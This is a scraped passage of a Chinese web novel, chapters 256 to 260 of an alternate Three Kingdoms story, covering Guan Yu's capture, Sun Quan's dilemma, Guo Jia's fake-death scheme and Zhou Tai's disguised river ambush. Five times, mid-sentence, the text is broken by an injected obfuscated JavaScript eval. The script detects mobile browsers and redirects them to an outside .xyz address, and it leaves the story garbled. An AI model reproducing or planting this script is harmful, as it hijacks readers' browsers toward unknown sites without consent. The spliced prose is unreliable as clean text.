“哈哈!关羽中伏了!擒杀关羽者赏千金封万户侯!”潘璋部将马忠从一个山丘顶端站起,狂喜地挥舞令旗! 随着号令,山丘上、山丘后,瞬间冒出无数身披白斗篷的东吴伏兵! 明晃晃的刀枪从四面八方合围,向刚**的关羽和他混乱的小队! 第256章 关羽被生擒,孙权头疼 天色渐亮,喊杀声渐歇…… 旷野之中,尸横遍野,血水将雪地染成一大片猩红泥泞。 关羽、关平、周仓三人背靠着背,形成一个三角阵型,在吴兵的包围圈中艰难喘息。 本就疲惫的三人,又持续了近四个时辰的惨烈搏杀,已然榨干了他们的气力。 随同关羽一路突围的那些士卒,此刻已经阵亡。 场中还能站立的,只剩下这三位伤痕累累的将领。 即便是关羽,此刻虽然没有严重伤势,但那身标志性的绿袍已多处破裂,呼吸急促,显是力竭到了极点。 全凭意志在强撑。 关平的情况更糟糕。 他年轻的脸庞上沾满了血污和雪水,左臂上一道深可见骨的狰狞伤口皮肉外翻,鲜血还在不断渗出,将整条袖子浸透。 每一次呼吸都牵扯着伤口,但他依旧死死握着卷刃的长剑,护在父亲身侧。 周仓几乎成了一个血人。 全身上下大大小小的伤口不下十几处,有几道深的甚至能看见骨头,伤口还在不停地往外冒血。血顺着铁甲的边缘往下滴,落进雪地里,融开一片越来越大的血洼。 换成是普通人,受了这么重的伤恐怕早就倒下没命了。 周仓凭着一股誓死也要跟随关羽的狠劲,死死钉在原地,瞪着眼睛狠狠扫视周围的敌人。 关羽等人也让吴军付出了惨重的代价。 以三人为核心,方圆数十步内,吴军士卒的尸体层层叠叠,竟然堆积有半人之高! 残破的兵器和旗帜散落一地。 吴军将领马忠,远远看着圈中那三个摇摇欲坠,却依旧散发着杀气的身影,又惊又怒。 他咬牙喝道:“他们三个已经到极限了!不过是**之末!弟兄们,随我最后一次冲杀!擒杀关羽者,赏千金,封万户侯!” 重赏之下必有勇夫,吴军士卒们压下心中的恐惧,再次缓缓围拢上来。 穷途末路,气息奄奄。 关羽扫视着四周越围越紧的敌军,又看向身旁浑身是血、却仍誓死相随的儿子和周仓,丹凤眼中掠过悲凉与愧疚。 “平我关羽这一生,得兄长玄德以手足相待,恩重如山。今日兵败身死,是天意如此。” “唯有一死,才能全了当年桃园结义之情,不负兄长!” 关羽顿了顿,目光落在关平和周仓身上:“只是……连累了你们。” “平儿,为父对不住你。” “周仓兄弟,你本不该在此地陪我赴死……” 关平闻言,忍着剧痛,牙关紧咬,眼神决绝。 “父亲何出此言!能追随父亲左右,孩儿此生无憾!” “黄泉路远,孩儿愿与父亲同行,来世再做父子!” 周仓闻言,竟是豪迈地大笑起来,笑声震得伤口鲜血迸流也毫不在乎。 “军侯!您这话可就见外了!” “周仓一介粗人,能得遇军侯,追随军侯纵横天下,已是老天爷赏脸!今日能为您战死,痛快!痛快!虽死无憾!” 关羽看着二人,所有悲怆、愧疚、不甘最终化为一声震动四野的苍凉大笑。 “哈哈哈!好!好!好!说得好!今日我关羽身虽殒灭,然忠义之名,必当垂于竹帛!” 关羽右手以那柄伴随他半生的青龙偃月刀支撑住摇晃的身体,左手拔出腰间佩剑,横在颈前,竟是要自刎殉义,宁死也不愿受被俘之辱! 马忠见关羽要自尽,心里总算松了口气。孙权给他下的命令是擒杀关羽,如今关羽自尽,也算完成了任务。 就在这时,突然传来一阵急促杂乱的马蹄声,还夹杂着一道因为极度惊恐的嘶喊。 “马忠!关羽不能死!!!” 众人闻声望去,只见数十骑疾驰而来,领头的那员将领,是马忠的顶头上司、东吴大将潘璋! 潘璋双眼死死盯住关羽那柄即将割向喉咙的长刀,惊得魂飞魄散,连嗓音都彻底变了调:“快!拦住他! “要活口!至尊严令,定要生擒关羽!!” 马忠被突如其来的命令弄得一愣,但军令如山,他反应也是极快。瞬间张弓搭箭,瞄准关羽那因脱力而动作稍显迟缓的左臂。 “嗖!”一支狼牙箭精准地射中关羽的左肩! 关羽闷哼一声,肩甲剧痛,手中长剑险些脱手。 自刎之举被打断。 马忠生怕有失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217460|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又是连续两箭疾射而出。 “嗖!嗖!” 这两箭分别钉入了关羽的另一条手臂和肩胛! 力道控制得极好,旨在彻底废掉其行动能力,而非致命。 关羽双臂瞬间无力垂下,青龙偃月刀“哐当”一声,沉重地砸落在染血的雪地上。 关羽大怒,对着马忠和潘璋的方向厉声怒斥。 “江东鼠辈!无耻之徒!两军交战,竟用如此卑劣手段羞辱敌将!” 马忠此刻哪还管什么道义羞辱,只要完成上司的命令就行。 马忠毫不理会关羽的怒骂,猛地一挥手,周围等待已久的吴兵一拥而上,将力竭难抗的关羽、关平、周仓三人生擒活捉。 直到此时,马忠才松了口气,抹了把额头的冷汗,策马来到潘璋身边。 “潘将军,这……这是何故?怎么突然又非要活的了?” 潘璋也是一脸无奈,摊手道:“我怎知晓?至尊刚刚用快马传来的紧急命令,突然就改了主意!” “严令必须生擒关羽,不得有误!” “谁敢伤其性命,立斩不赦!”他压低声音,“看样子,是出了什么我们不知道的大变故。” 此刻,远在江东建业城的吴侯府邸中。 孙权正焦躁万分地在厅堂里来回踱步。 他脸上的肌肉因愤怒和焦虑紧紧绷着,显得格外扭曲。 他猛地将手中一份皱巴巴的信件狠狠摔在地上,似乎觉得还不解气,又用力踩了几脚,仿佛那信件是他不共戴天的仇敌。 他对着门外怒吼道:“再派快马!加急!让吕子明和陆伯言立刻!马上给我回来!前线事务暂交副将代理!” 吼完,他猛地转身,布满血丝的眼睛扫过厅堂内噤若寒蝉的一众谋士,极为烦躁道。 “说话啊!你们都哑巴了吗?!” “平日里高谈阔论,个个自比管仲乐毅,如今曹风一纸书信送来,你们就全都束手无策了?!倒是给我拿出个对策来!” 谋士们面面相觑,眼神躲闪,额头上渗出细密的冷汗。 不是他们不想说,而是曹风这招是彻头彻尾的阳谋! 厅内一片死寂,落针可闻。 第257章 陆逊、吕蒙vs郭嘉、贾诩 孙权看着这群束手无策的臣子,更是气不打一处来,尤其是目光扫过闭目养神、仿佛事不关己的张昭时,他怒火几乎要冲破天灵盖! 孙权猛地一跺脚,挥袖怒吼:“滚!都给我滚出去!” “一群废物!” 他现在看到这些人就心烦意乱,尤其是张昭! 孙权此刻内心极度想立刻除掉这个屡屡与自己作对的老家伙,却又投鼠忌器。 如今外有强敌、内部未稳的局势下,绝不能轻易与以张家为首的士族集团彻底撕破脸。 这种想杀又不能杀的憋屈感,几乎让孙权**。 众谋士如蒙大赦,却又不敢立刻就走,纷纷将目光投向资历最老的张昭。 张昭这才缓缓睁开眼,面无表情地率先起身,整理了一下衣袍,看也不看孙权,径直朝门外走去。 其他谋士这才敢低着头,迅速逃离了孙权。 待众人走后,孙权猛地喘了几口粗气,又对着门外侍立的一个心腹侍卫低声吼道。 “鲁子敬呢?!他和他的家眷,还没给我找回来吗?!” 孙权声音中带着一丝不易察觉的恐慌。 那侍卫浑身一颤,惶恐地躬身答道:“回……回至尊,根据最新追查的线索显示……” “早在至尊您亲率大军攻打合肥之时,鲁肃就已经秘密将家眷分批送往了柴桑方向。” “而前几日,鲁肃本人也趁夜渡江北上了,方向似乎……” “方向似乎也是柴桑。” “柴桑?!”孙权瞳孔骤然收缩,“那不是曹风的地盘吗?!等等……” “糟了!!”孙权失声惊呼,“鲁肃!鲁子敬他……他投靠曹风了!!” 随即,背叛的羞辱感涌上心头,孙权气得浑身发抖,咬牙切齿地咒骂。 ““好一个鲁肃!好一个鲁子敬!平日里装出一副圆脸大耳、忠厚老实的模样,没想到骨子里竟是如此奸猾狡诈,毫无风骨气节的小人!” “竟敢背叛我!背叛江东!!” …… 十日之后。 日夜兼程的吕蒙和陆逊风尘仆仆地先后赶回了建业城。 两人甚至连自家的府门都未曾踏入一步,便直接赶往孙权的府邸觐见。 伤势未愈、面色苍白的吕蒙率先开口询问,语气中带着疲惫和疑惑。 “至尊,荆州新定,百废待兴,人心浮动,正是需要稳固的关键时刻。” “究竟发生了何等大事,需如此急切地将我等从前线召回?若局势有变,恐荆州生乱啊!” 孙权脸色阴沉得能滴出水来,他将那封已经被自己揉搓得不成样子、几乎快要碎裂的信纸,重重地拍在吕蒙面前的案几上。 “你们自己看吧!这是曹风派人送来的亲笔信!” “他不准我们杀关羽!更不准我们将关羽交还给刘备!” 孙权深吸一口气:“他还说,若是我们敢不从命,他便即刻尽起河北、中原之精锐,挥师南下,与我江东决一死战!” “倾尽国力,也要踏平我江东六郡!” 孙权顿了顿,强装镇定道:“我……我自然不是怕了他曹风!只是如今我们刚刚夺取荆州,尚未消化,人心未附,且内部尚需整顿。” “实在不宜在此刻与挟大胜之威、气势正盛的曹风全面开战!这关乎江东存亡,不得不慎!” 吕蒙拿起那封信件,仔细阅读,越看眉头皱得越紧。 看完后,他沉默地将信递给身旁的陆逊。 陆逊接过,快速浏览后,脸上也浮现出凝重之色。 吕蒙和陆逊两人交换了一个眼神,都从对方眼中看到了深深的无奈和棘手。 孙权见自己最为倚重的两位智囊竟然也都沉默不语,心中更是急躁慌乱无比。 他甚至在这一刻,想起了一直被他猜忌的周瑜、周公瑾。 即便他再不喜欢周瑜的傲气和难以掌控,此刻也不得不承认,若有周瑜那般的雄才大略和临机决断在,或许能有应对这般棘手局面的良策。 沉默了许久,陆逊最终还是率先开口。 他斟酌着语句,小心翼翼地说道:“至尊,曹风势大,锋芒正盛,我军新疲,确不宜与之硬撼。” “我们不如将关羽这个烫手至极的山芋,送交到曹风手上。” 他抬眼看了看孙权的反应,继续分析道。 “如此一来,既可暂时避免与曹风的直接冲突,为我江东赢得喘息和整合荆州的时间。” “二则,可将刘备的仇恨,巧妙地转移给曹风。刘备若知关羽落入曹风之手,其首要复仇目标,必是曹风无疑。” 孙权闻言,若有所思地点了点头。 这似乎是目前看来代价最小、也最符合江东利益的选择。 但孙权生性多疑,加上一向更依赖吕蒙的判断, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228158|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是忍不住又将目光投向吕蒙,希望对方能帮自己最终拿定主意。 吕蒙仔细思量着陆逊的提议,眼下确实想不出比这更好的办法了。 既能避免即刻开战,又能转移矛盾。 吕蒙当即拱手道:“伯言之策,甚妙!将关羽送至曹风处,乃当下最优之选。” “既能暂缓曹风兵锋,又能使刘备受制,或可促使刘曹相争,我方或可从中取利。” 孙权这才决定采纳陆逊的计策。 然而,无论是孙权、吕蒙,还是陆逊,都万万没有想到:他们所做出的这个看似“最稳妥的选择”——其实每一步反应,都早已被北方邺城的两位顶尖谋士贾诩与郭嘉,算得清清楚楚。 邺城,魏王府邸。 相较于江东的慌乱,这里显得异常平静。 原本庞大的谋士团队,此刻显得冷清了许多。 诸如李儒、程昱、刘晔等重臣,都在筹备曹风登基称帝的诸多礼仪典章、**造势而忙碌奔波。 偌大的书房内,只有两人显得格外“清闲”。 郭嘉一如既往地躺在一张摇椅上,身上盖着厚厚的毛毯,闭着眼睛,随着摇椅轻微晃动着。 一副悠然自得、仿佛外界一切纷扰都与他无关的模样。 郭嘉以体弱多病、需静心休养为由,合理地逃避了所有繁琐的筹备工作。 为此,负责监察百官的满宠多次向曹风进言,**郭嘉行为放浪、不拘礼法,甚至是对未来君主的大不敬。 而郭嘉每次都能振振有词地辩解:“满府君此言差矣。嘉此乃养精蓄锐,非为怠惰。诸葛亮此人心计百出,乃主公心腹大患。” “嘉需留存有用之身,养足精神,将来才好为魏王全力对付此人!” 两人因为这事情没少打嘴仗,常常让曹风哭笑不得,只好从中和稀泥。 相较于郭嘉的“不羁”,贾诩则显得“规矩”很多。 他正襟危坐在一旁的席位上,腰板挺直,姿态无可挑剔。 只是他的眼睛几乎始终低垂着,盯着自己眼前的案几或是自己的手指尖。 一副“万事不关心,天塌下来也别找我”的超然物外样子。 这位深知明哲保身之道的老狐狸,对于劝进、登基这种极度敏感、容易沾染是非的事情,避之唯恐不及,坚决不肯沾惹半分。 曹风也深知其性情,并未强迫他参与。 第258章 郭嘉:毒计?我也会啊 房内的平静被打破。 曹风将一份刚从南方送来的情报卷宗,随手就朝着看似毫无防备的贾诩掷了过去。 贾诩虽然眼睛低垂,但余光和对危险的感知却敏锐异常,他早已察觉了曹风的动作。 但这老狐狸愣是身体纹丝不动,连眼皮都没多抬一下,硬生生用自己的肩膀接下了这一砸。 贾诩知道,这卷宗砸不**。 但他若是敢躲开,那就麻烦了…… “哎呦!”贾诩发出了一声极其夸张的痛呼,演技堪称精湛。 然后他才慢吞吞地弯腰,捡起那卷掉落在脚边的绢帛情报,双手捧着,步履“蹒跚”地重新将其恭恭敬敬地放回曹风的桌案上。 做完这一切,他转身就想溜回自己的座位,继续扮演隐形人。 “贾文和!”曹风不紧不慢地开口叫住了他,手指轻轻敲了敲桌面,“我要的,不是这个。” 贾诩心头猛地一颤,暗自叫苦:“真是伴君如伴虎啊!躲都躲不过!” 他只好再次转身,重新拿起那份情报,这一次,他不得不仔细地阅读起来。 看完后,贾诩沉吟了足足一盏茶的功夫,脑中飞速权衡利弊,推演各种可能,最终才缓缓抬起头,沉声道。 “魏王,程仲德的计策固然不错,然……” “仍有一处关键疏忽。” “孙权面临主公您的压力,绝不会甘心独自承受刘备的怒火。他最大的可能,是会选择将关羽这个烫手山芋,完好无损地送来邺城,献给魏王您。” “此乃嫁祸之计!” 贾诩略作停顿,留意着曹风的反应,接着说道。 “以刘备那伪善的性子,加上他向来行事的方式……” “比起荆州失守,结义兄弟关羽是生是死,才更会让他方寸大乱。这必定会成为他首先要应对的头等大事!” “魏王得关羽后,大可效仿当年‘挟天子以令诸侯’,行‘挟关羽以令刘备’之策。” “手握关羽性命,便可胁迫刘备,使其不敢轻易与我方刀兵相见。” ‘届时,魏王可明发诏令,命刘备东向攻打孙权。” “若刘备从之,则孙刘联盟彻底破裂,二虎死斗,主公可安坐邺城,静观其变,坐收渔翁之利!” “若刘备不从,则其虚伪面目暴露无遗,天下寒心,关羽亦可能对其离心离德。” 曹风手指轻轻敲击着桌面:“此计甚毒……” “确是良策。不过,文和,若是诸葛亮识破此计,极力劝阻刘备,不与孙权为敌,又当如何?” 贾诩闻言,脸上露出一丝一切尽在掌握的笑容。 “魏王所虑极是。诸葛亮确有可能会劝阻。” “但是,魏王莫非忘了刘备身边另一人?” “那张飞张翼德,性烈如火,与关羽情同骨肉。若其知关羽被孙权所擒又送至我方,必会暴怒如狂,日夜哭求刘备发兵复仇。” “届时,魏王可再亲笔修书一封,送至张飞手中,信中不必多言,只需稍加撩拨其怒火……” “有张飞在一旁,就算诸葛亮真有苏秦张仪那样的口才,也绝对劝不住已经被兄弟之情冲昏头脑的刘备!” 贾诩这一计可谓狠辣到了极点,简直将人心弱点算计得滴水不漏。 曹风听完,缓缓点头,贾诩之计确实老辣周全,几乎算尽了孙刘双方的反应。 但他并未立即采纳,而是将目光转向一旁仿佛已经睡着了的郭嘉,摇头失笑道。 “郭奉孝,你不出力干活也就罢了,躲在这里偷闲,总归要动动脑子吧?” “文和之策,你以为如何?对于关羽,你可还有别的想法?” 说着,他晃了晃手中一直把玩着的一个精致酒葫芦,里面装着郭嘉最爱的美酒。 郭嘉这才停下摇椅,睁开了眼睛。 那一刻,他眼中慵懒的神色瞬间消失得无影无踪,取而代之的是精明和锐利。 郭嘉深知曹风问计于他,并非不认可贾诩,而是想看看是否有更巧妙、副作用更小的办法。 “文和之策,老辣狠绝,自是效用非凡。” “若行此策,孙刘反目成仇,几乎可成定局。” 郭嘉先肯定了贾诩的计谋,随即话锋一转,“然,此计虽妙,却有一处关节……或许会让魏王日后难做。” 郭嘉看向曹风,“关羽此人,傲上而不忍下,欺强而不凌弱,性情刚烈而重义,并非完全不明事理之人。” “关羽若知魏王以他为人质,胁迫其兄刘备,即便能理解魏王立场,其内心也必深感**,与魏王之间恐生难以弥补的隔阂。” “对于这等天下皆知的义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228159|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士,若不能收其心,仅得其身,终究落了下乘,亦有损主公爱才重义之名声。” 曹风摇晃酒葫芦的手停了下来,若有所思:“那依奉孝之见,该当如何?既要达成目的,又不可与云长心生芥蒂?” 郭嘉微微一笑,眼中闪过一丝狡黠的光芒,“嘉有一计,或可两全。让关羽‘死’在东吴将他押送至北方的路途之上!” 此言一出,连旁边的贾诩都微微抬了抬眼皮。 郭嘉担心曹风有所误解,便进一步解释道。 “自然是‘假死’!就像当年让我郭奉孝‘死’给天下人看的那一回。” “关键不在于关羽是否真的‘死’,而在于要让所有人,尤其是随行的关平,以及最终得到消息的刘备和张飞,都坚信不疑——关羽,已经在那场由东吴主导的押送过程中,‘不幸’身亡了!” “最好,能让关平‘侥幸’逃脱,带着这份刻骨铭心的‘杀父之仇’和亲眼所见的‘事实’,一路逃回,将关羽‘死讯’亲口告知刘备!” 郭嘉眼中闪烁着算计的光芒。 “只要关平抵达,以他亲眼所见、亲身经历作证,刘备和张飞绝不会再有丝毫怀疑!” “杀弟之仇,不共戴天!” “届时,刘备所有的怒火、所有的仇恨都倾泻到孙权头上!” “孙刘之间,将是不死不休之局!而魏王您,不仅得到了活着的关羽,完美避开了胁迫人质的恶名,更彻底点燃了孙刘之间的战火!此乃一石三鸟之上策!” 曹风听完,眼中精光大盛,不由抚掌笑道:“好!那此事,就交由奉孝你来……” “打住!魏王!”郭嘉没等曹风说完,立刻出声打断。 他脸上又恢复了那副慵懒无赖的模样,连连摆手,指着自己的腿道:“嘉近年来这腿脚是越发不便了,实在难以长途跋涉、奔波劳碌去策划执行如此精细的行动。” “嘉举荐一人,李儒李文优正适合此事!他心思歹毒……” “啊不,是足智多谋,且精于药石幻术,由他暗中主持,定能做得天衣无缝!” “嘉嘛,就在后方,为魏王、为文优,摇旗呐喊,出出主意便是了。” 郭嘉毫不犹豫地把锅甩给了远在别处的李儒。 曹风瞧着郭嘉这副“死猪不怕开水烫”的架势,又气又好笑。 第259章 周泰横江劫马忠 吕蒙亲率精锐士卒,将严密捆绑、口塞麻布的关羽、关平、周仓三人押送至建业城外的一处隐秘渡口。 此处江面开阔,水流却相对平缓,适合大型船只停泊交接。 看着被推搡着踏上跳板、走向那艘特意准备的囚船的三人,尤其是关羽沦为阶下囚却依旧挺直的脊梁,吕蒙心中感慨。 “关羽这脾气,真是又臭又硬。” “他丹凤眼里那副神情,倒好像东吴众人才是阶下囚。难怪当初连曹操都搞不定他。” 吕蒙仔细交代完所有事项,亲眼看着马忠指挥手下将关羽三人牢牢锁进船舱,这才微微松了口气。 这件关乎江东未来命运、极易引火烧身的关羽,总算暂时脱手了。 至于为何不亲自押送关羽直至江夏,亲手交给凌统? 吕蒙心中有他的算计。 此行风险极大,曹风对待这件事情的态度不明,万一对方突然翻脸,自己这深入“敌境”的主将,岂不成了自投罗网? 届时被凌统扣押,送往邺城,他吕子明一世英名和性命恐怕都要交代了。 这种风险,还是让下属去承担更为稳妥。 当押解关羽的船队远离港口,马忠脸上原本恭维的笑容立刻消失不见,转而变得阴沉无比。 马忠扶着冰凉的船舷,望着逐渐远去的江东岸线,狠狠啐了一口,低声咒骂道。 “呸!吕蒙你这无耻小人!” “自己畏惧曹风,不敢亲身涉险,却将这掉脑袋的差事推给老子!” “说什么提拔重用,分明是让老子来当这替罪的羔羊!” “若曹风一个不高兴,或是交接出了岔子,老子这项上人头第一个不保!当真可恨至极!” 正当马忠准备返回船舱时,前方远处江面上,突然出现了数十个散乱、模糊的船只,正朝他们而来。 马忠立刻眯起眼睛仔细观望,同时挥手招来一名以消息灵通、熟悉江面情况著称的亲卫,皱眉问道。 “前方是何来路?是哪位将军的水军在操练演习吗?为何我未曾接到任何通报?” 那亲卫也是一脸茫然,伸长脖子看了又看,迟疑地回道。 “将军,属下也未曾听闻近日有此大规模的水上演习啊。看其队形……似乎有些散乱,不像是正规水军。” 马忠闻言,心中猜疑稍减,不耐烦地挥了挥手。 “罢了!或许是哪家士族的私兵货船队,或是迷航的商队。等临近了自然知晓。吩咐下去,保持警惕,不必过于惊慌。” 马忠自觉判断合理—— 这里已是东吴腹地,距离都城建业不远,江夏的曹军绝无可能悄无声息地深入至此。 而周边大型水贼早在多年前就被孙权派大军清剿干净了。 些许小股流寇,见他这正规军的旗号,避之唯恐不及,岂敢前来撩拨? 然而,马忠万万不会想到,这支看似散乱的船队,并非来自上游的江夏。 船上的李儒早已计划好航线,完美躲过了所有江东哨探。 这支“可疑船队”的领头大船上,一个身材魁梧、脸上带着一张做工极其精巧、几乎与真实皮肤无异的假面皮的汉子,正下意识地抬手,摸了摸那冰凉的假面边缘。 假面贴合得毫无破绽,但心理上还是有些不适应, 这人正是东吴旧将,如今已效忠曹风的周泰。 当他远远望见马忠那艘押解船的轮廓时,立刻转身,大步踏入舱内。 周泰的嗓音本就粗犷,此刻更是刻意带上了几分江湖匪气。 “李大人,前方出现目标船队,看旗号样式,应是江东押送关羽的船只无疑!” 舱内阴影中,李儒缓缓转过身,脸上没有任何表情。 他微微点头,声音低沉:“嗯,按计划行事。动手吧。记住,除了关羽、关平、周仓三人,其余活口,一个不留。务必做得干净利落,像一场真正的江上劫杀。” “末将明白!”周泰抱拳领命,转身便要出去指挥作战。 “且慢。”李儒忽然又叫住了周泰。 “周将军,你和你手下这些弟兄,军纪严明,杀气腾腾,好是很好,但这煞气……太过规整了。” “纰漏便在于此。你们现在不是纵横长江的无敌水师,而是打家劫舍、乌合之众的江上水匪!要把那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232039|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股子懒散、混乱、贪婪的劲儿给我演出来!” 周泰一怔,随即恍然大悟,再次拱手:“是!末将……” “呃,俺晓得了!这就去让崽子们装得像些!” 周泰努力改变着自己的用语。 李儒这才挥了挥手,语气中带上了一丝不易察觉的期待。 “去吧。速战速决,此地不宜久留。” “解决了这边,你我还需尽快赶回邺城。” “魏王的登基大典在即,如此盛事,你我岂能缺席?” 他的目光似乎穿透了船舱,望向了遥远的北方,眼中难以抑制地流露出欣慰、狂热的复杂情感。 “十余年苦心经营,呕心沥血,终于……” “公子即将飞龙在天,君临天下!公子、魏王,终于改称呼陛下了。” 李儒的话语,让周泰也跟着一同兴奋起来。 他虽是新降之将,未知前程如何,但仅凭曹风许诺的“开疆拓土,共击邪马台”,就远比在孙权手下终日提防倾轧、困守江东要有奔头得多! 想到未来驰骋**波涛、建功立业的画面,周泰就很兴奋。 周泰大步走出船舱,来到甲板上,对着那些虽然换上了破烂衣物、但站姿依旧不自觉挺拔的手下们低声吼道。 “都他妈给老子放松点!歪歪扭扭会不会?交头接耳会不会?瞧瞧你们那副德性,哪点儿像水上好汉了?” “都给老子把匪气演出来!” 水兵们面面相觑,让他们英勇杀敌毫不含糊,可这故意装出懒散痞气,反倒让他们浑身不自在,手脚都不知道该往哪儿放。 毕竟曹风的军队向来军纪森严,士兵们早已养成了严肃的军容,这作风已刻在骨子里了。 周泰歪戴着那独眼眼罩,单脚踩在船舷上,挥动着手中大刀,扯开嗓子,发出粗野狂放的大笑:“哇哈哈哈!儿郎们!看见前面那几条大肥羊了吗?跟老子冲上去!” “砍翻他们!今晚喝酒吃肉!!” 这番做派的感染力极强,水兵们也终于努力放下拘谨,发出各种怪叫和呐喊,船队的速度陡然加快,朝着马忠的船队猛扑过去! 第260章 东汉末年最强的两个肉盾 马忠站在船头,听着远处传来的、越来越近的喧嚣怪叫,起初还不以为意,嘴角甚至带着轻蔑的冷笑。 “哪里来的不开眼的水洼草寇,瞎了你们的狗眼!竟敢劫掠到你马忠爷爷的头上!真是活腻歪了!” 他自信满满地命令麾下水军摆开阵势迎敌,准备一个冲锋就将这些乌合之众击溃。 然而,当两支船队真正接舷,短兵相接的瞬间,马忠的脸色就猛地变了! 这伙“水匪”的凶悍程度和战斗素养,远远超乎他的想象! 他们作战勇猛无比,刀刀狠辣,更可怕的是,彼此之间配合默契得惊人! 三五人便能自发组成一个完美的战斗小组,攻防一体,进退有度! 这哪里是打家劫舍的土匪? 这分明是一支身经百战、训练有素的精锐之师伪装而成的! 冲杀在最前面的那个独眼头目,尤其显眼。 他手中那柄破**挥舞起来势大力沉,招式大开大合,却又带着一种军中战将特有的简洁高效,每一次劈砍都伴随着江东士卒的惨叫和倒飞的身影。 那彪悍的身形、那狂野中的战斗风格,让马忠越看越是觉得眼熟。 可偏偏那张陌生的独眼龙脸孔,又对不上号。 眼见那独眼头目如同虎入羊群,无人能挡,直直朝着自己主帅的位置杀来,马忠心中骇然,连连后退。 他急忙躲到一堆缆绳和木桶后面,强自镇定地张弓搭箭,目光死死锁定那个狂暴的身影,寻找着一击必杀的机会。 终于,趁那独眼头目一刀劈翻两名士卒,旧力刚去新力未生的微小间隙,马忠眼中厉色一闪,弓如满月! “嗖——!” 一支蕴含着马忠全身力量的狼牙箭,直奔独眼头目的心窝要害而去! 这一箭,又快又狠又准! 马忠对自己的箭术极有信心,他甚至已经预见到对方被一箭穿心、倒地毙命的场景。 然而,就在箭矢即将及体时候,那独眼头目仿佛背后长眼,或者说是在无数次生死搏杀中锤炼出的惊人直觉发挥了作用。 他硬是在不可能的情况下猛地拧身侧避! “噗嗤!” 锋利的箭镞狠狠扎入了他的肩窝,而非心脏! 马忠暗叫一声可惜,但随即又冷笑起来。 即便没射中心脏,受到如此重创,也足以废掉对方大半战力! 可接下来发生的一幕,让马忠的冷笑瞬间冻结在脸上,瞳孔急剧收缩! 那独眼头目中箭后,只是发出一声闷哼,反手挥动大刀,将露在外面的箭杆齐根削断! 随即,他仿佛感受不到任何疼痛一般,抬起那双布满血丝、只剩下疯狂杀意的独眼,死死盯住了马忠藏身的方向。 再次迈开大步,朝着马忠冲杀过来! “疯子!这是个疯子!”马忠头皮发麻,一边惊恐地后退,一边手忙脚乱地再次抽箭搭弦。 他不信邪,一支箭不行,就再来! 他边退边射,箭矢连珠般射出。 那独眼头目在冲锋途中不断闪避格挡,但毕竟目标明显,加之马忠箭术确实精湛,又有好几支箭矢“噗噗”地射中了他的大腿、手臂和侧腹! 起初,独眼头目还会挥刀格挡或者削断严重影响行动的箭杆。 但到了后来,他干脆不管不顾了! 就任凭六七支箭羽插在身上,闷着头,疯狂朝着马忠冲近! 马忠被独眼头目这副悍不畏死的模样彻底吓破了胆,心理防线彻底崩溃。 他一直退到了船舷边缘,身后已是滔滔江水,退无可退! “死!给我**!”马忠绝望地嘶吼着,扔掉了强弓,拔出腰间佩剑,做最后的困兽之斗。 仅仅交手三四回合,马忠手中的佩剑便被独眼头目势大力沉的一刀劈飞,紧接着胸口遭到重击,肋骨断裂的脆响清晰可闻。 马忠惨叫着吐血倒地,连翻身跳江逃生的力气都没有了。 马忠瘫在甲板上,惊恐地看着插满箭矢的身影一步步逼近。他突然想起来,对方是谁了。 “不……不可能!你……你是周……”马忠瞪大了眼睛,惊恐喊道。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232040|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 